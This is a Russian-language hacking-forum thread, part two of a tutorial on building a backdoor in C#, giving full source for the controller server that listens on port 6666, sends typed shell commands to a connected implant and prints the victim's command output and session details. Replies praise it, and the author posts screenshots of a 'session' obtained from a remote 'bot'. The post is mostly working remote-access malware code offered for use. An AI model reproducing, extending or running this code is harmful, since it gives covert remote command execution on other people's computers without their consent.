Загрузка...

Написание backdoor на C# [ЧАСТЬ ВТОРАЯ]

Тема в разделе C# создана пользователем Dead__Artis 6 мар 2023. 384 просмотра

Загрузка...
  1. Dead__Artis
    Dead__Artis Автор темы 6 мар 2023 921 30 май 2020
    и всех кодеров снова приветствую те кто не читал первую тему прошу пожалуйста прочтите ибо вы нечего не поймете
    https://zelenka.guru/threads/5049274/

    и так клиентскую часть мы закончили
    пора бы создать наш сервер
    и так проект у нас уже есть необходимо добавить новый проект
    добавляем проект с net framework 4.5 либо любую другую выше 4.5.
    называем Black_Server

    и так начнем
    серверу надо ожидать подключения нашего backdoor'a
    для этого создадим переменную в которой будет храниться наш порт который мы будем слушать (проверять подключился ли клиент или нет)

    CSHARP
    const int port = 6666;
    теперь нам нужно создать экземпляр объекта TcpListener и запустить прослушку

    CSHARP
    TcpListener tcpListener = new TcpListener(IPAddress.Any, port); //слушаем порт 6666 на всех ip адресах которые у нас есть
    tcpListener.Start();
    теперь нам необходимо принять нашего клиента

    так как backdoor у нас будет отрабатывать одну сессию просто создадим цикл

    CSHARP
    while (true)
    {
    TcpClient tcpClient = tcpListener.AcceptTcpClient(); //принимаем нашего клиента
    }
    после чего нам надо будет создать модельный класс где будут нам уже знакомые методы Read, Send
    класс назовем client

    Код
    public class Client
    {
    public TcpClient tcpClient;
    private NetworkStream stream;
    const int SizeBuffer = 5000;
    public Client(TcpClient tcpClient)
    {
    this.tcpClient = tcpClient;
    stream = tcpClient.GetStream();
    new Thread(() => Read()).Start();
    while (tcpClient.Connected)
    {
    Send("shell($)" +Console.ReadLine() + "($)"); // отправка команды клиенту
    }
    }


    private void Read()
    {
    try
    {
    while (tcpClient.Connected)
    {

    byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные
    int data = stream.Read(responseData, 0, SizeBuffer); //считывание данных
    if (data > 0)
    {
    string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива

    switch (Messages[0]) //обработка нашего Header
    {
    case "Session":
    {
    Console.WriteLine("Connect Session " + Messages[1] + " " + tcpClient.Client.RemoteEndPoint.ToString().Split(':')[0]); //выводим данные о пк нашего клиента
    break;
    }
    case "shell":
    {
    Console.WriteLine(Messages[1]); //выводим данные из cmd нашего клиента
    break;
    }
    }
    }
    }
    }
    catch { }
    }

    public void Send(string info)
    {
    if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные.
    return;
    //иначе мы будем
    try
    {
    byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны(
    stream.Write(buffer, 0, buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length
    }
    catch
    {
    tcpClient.Client.Disconnect(false);
    tcpClient.Close();
    }
    }
    }
    данный класс уже готов в нем есть все нужные функции для работы backdoor'a

    готовые исходники сервера

    CSHARP
    using System;
    using System.Net.Sockets;
    using System.Net;
    using System.Text;
    using System.Threading;

    namespace Black_Server
    {
    internal class Program
    {
    const int port = 6666;
    static void Main(string[] args)
    {
    TcpListener tcpListener = new TcpListener(IPAddress.Any, port); //слушаем порт 6666 на всех ip адресах которые у нас есть
    tcpListener.Start();

    while (true) {
    TcpClient tcpClient = tcpListener.AcceptTcpClient(); //принимаем нашего клиента
    new Client(tcpClient);
    }
    }
    }
    public class Client
    {
    public TcpClient tcpClient;
    private NetworkStream stream;
    const int SizeBuffer = 5000;
    public Client(TcpClient tcpClient)
    {
    this.tcpClient = tcpClient;
    stream = tcpClient.GetStream();
    new Thread(() => Read()).Start();
    while (tcpClient.Connected)
    {
    Send("shell($)" +Console.ReadLine() + "($)"); // отправка команды клиенту
    }
    }


    private void Read()
    {
    try
    {
    while (tcpClient.Connected)
    {

    byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные
    int data = stream.Read(responseData, 0, SizeBuffer); //считывание данных
    if (data > 0)
    {
    string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива

    switch (Messages[0]) //обработка нашего Header
    {
    case "Session":
    {
    Console.WriteLine("Connect Session " + Messages[1] + " " + Messages[2] + " " + tcpClient.Client.RemoteEndPoint.ToString().Split(':')[0]); //выводим данные о пк нашего клиента
    break;
    }
    case "shell":
    {
    Console.WriteLine(Messages[1]); //выводим данные из cmd нашего клиента
    break;
    }
    }
    }
    }
    }
    catch { }
    }

    public void Send(string info)
    {
    if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные.
    return;
    //иначе мы будем
    try
    {
    byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны(
    stream.Write(buffer, 0, buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length
    }
    catch
    {
    tcpClient.Client.Disconnect(false);
    tcpClient.Close();
    }
    }
    }
    }
    вот и все сервер для backdoor'a готов

    [IMG]
     
    6 мар 2023 Изменено
  2. 0xRD43SVT
    0xRD43SVT 6 мар 2023 Заблокирован(а) 19 26 авг 2022
    Было бы очень хорошо увидеть пример использования, может быть даже предоставить время выполнения этого программного обеспечения.
    UPD: ТС красавчик, добавил)
    --- Сообщение объединено с предыдущим 6 мар 2023
    А ты уверен, что программа будет работать, если клиентская и серверная части будут на разных ПК? На локалхост-то понятно, всегда работает.
     
    6 мар 2023 Изменено
    1. Посмотреть предыдущие комментарии (1)
    2. 0xRD43SVT
      Dead__Artis, вопросов больше не имею. Если статью воспринимать как базу, то очень годно, код простой. Но всё же для полноты картины хотелось бы тест на разных ПК. 8/10 :finger_up:
    3. Dead__Artis Автор темы
      0xRD43SVT, вот тебе тест на удаленых компах
      [IMG]
      после открытия порта
      [IMG]
      Запускаем backdoor у бота
      [IMG]
      получаем сессию !
    4. 0xRD43SVT
      Dead__Artis, другое дело. Теперь это реально 10/10:finger_up:
  3. r3xq1
    Асинхронность используй и только её
     
    1. Dead__Artis Автор темы
      r3xq1, BeginRead и тп шарю, это я написал в качестве базы.
  4. vtlstolyarov
    vtlstolyarov 6 мар 2023 474 8 янв 2022
    А в чём проблема вычитать всё?
     
    6 мар 2023 Изменено
    1. Посмотреть предыдущие комментарии (1)
    2. vtlstolyarov
      Dead__Artis, это копи-паста без делаьного понимания того как работает, поэтому и "разбирайтесь сами в том что я сам не понял"
    3. Dead__Artis Автор темы
    4. vtlstolyarov
      Dead__Artis, сам проуфани - допиши чтобы читалось всё а не только SizeBuffer
  5. amcs
    amcs 6 мар 2023 Заблокирован(а) 3 5 дек 2021
    годно :duck_like:
     
Top